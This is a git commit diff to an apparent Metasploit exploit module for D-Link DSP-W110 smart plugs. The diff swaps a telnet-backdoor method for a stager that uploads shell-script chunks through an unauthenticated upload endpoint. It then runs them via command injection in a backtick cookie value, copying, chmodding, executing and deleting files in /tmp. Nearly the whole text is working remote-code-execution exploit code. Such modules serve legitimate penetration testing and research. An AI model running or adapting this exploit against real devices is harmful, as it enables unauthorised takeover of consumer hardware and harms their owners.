echo stager via upload vulnerability

bug/bundler_fix
Michael Messner 2015-06-23 23:09:08 +02:00
parent d8e11789ea
commit 8bc012a665
1 changed files with 65 additions and 72 deletions

View File

@ -9,13 +9,14 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Cookie Command Execution',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on different D-Link
devices. The vulnerability is a command injection in the cookie handling process of the
This module exploits an anonymous remote upload and code execution vulnerability on different
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
lighttpd web server when handling specially crafted cookie values. This module has been
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real
device.
@ -32,37 +33,27 @@ class Metasploit3 < Msf::Exploit::Remote
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
],
'DisclosureDate' => 'Jun 12 2015',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ]
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
],
],
'DefaultTarget' => 0
'DefaultTarget' => 1
))
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end
def tel_timeout
(datastore['TelnetTimeout'] || 10).to_i
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end
def check
@ -89,64 +80,66 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Exploiting...")
print_status("#{peer} - Uploading stager ...")
@counter = 1
execute_cmdstager(
:flavor => :echo,
:linemax => 99 #limited by our upload, larger payloads crash the web server
)
cmd = "telnetd -l/bin/sh"
execute_command(cmd)
telnetport = 23
handle_telnet(telnetport)
print_status("#{peer} - creating payload and executing it ...")
(1 .. @counter).each do |act_file|
#the http server blocks access to our files ... we copy it to a new one
#the length of our command is restricted to 19 characters
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "chmod +x /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "/tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "rm /tmp/#{act_file}"
execute_final_command(cmd)
cmd = "rm /tmp/#{act_file+@counter}"
execute_final_command(cmd)
end
end
def handle_telnet(telnetport)
def execute_command(cmd,opts)
#upload our stager to a shell script
#upload takes quite long because there is no response from the web server
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
data_cmd = "------------------------------9bcdb049f0d2\r\n"
data_cmd << "Content-Disposition: form-data; name=\"name\"; filename=\"#{@counter}\"\r\n"
data_cmd << "Content-Type: application/octet-stream\r\n\r\n"
data_cmd << "#!/bin/sh\n"
data_cmd << cmd
data_cmd << "\n------------------------------9bcdb049f0d2--"
if sock
print_good("#{peer} - Backdoor service spawned")
add_socket(sock)
else
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned")
end
@counter = @counter + 1
print_status("#{peer} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{peer} - Unable to establish a telnet session")
else
print_good("#{peer} - Telnet session successfully established...")
end
handler(sock)
end
def execute_command(cmd)
begin
res = send_request_cgi({
send_request_cgi({
'method' => 'POST',
'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/",
'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2",
'data' => data_cmd
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def execute_final_command(cmd)
begin
send_request_cgi({
'method' => 'GET',
'uri' => "/",
'cookie' => "i=`#{cmd}`"
}, 5)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
# Since there isn't user/password negotiation, just wait until the prompt is there
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end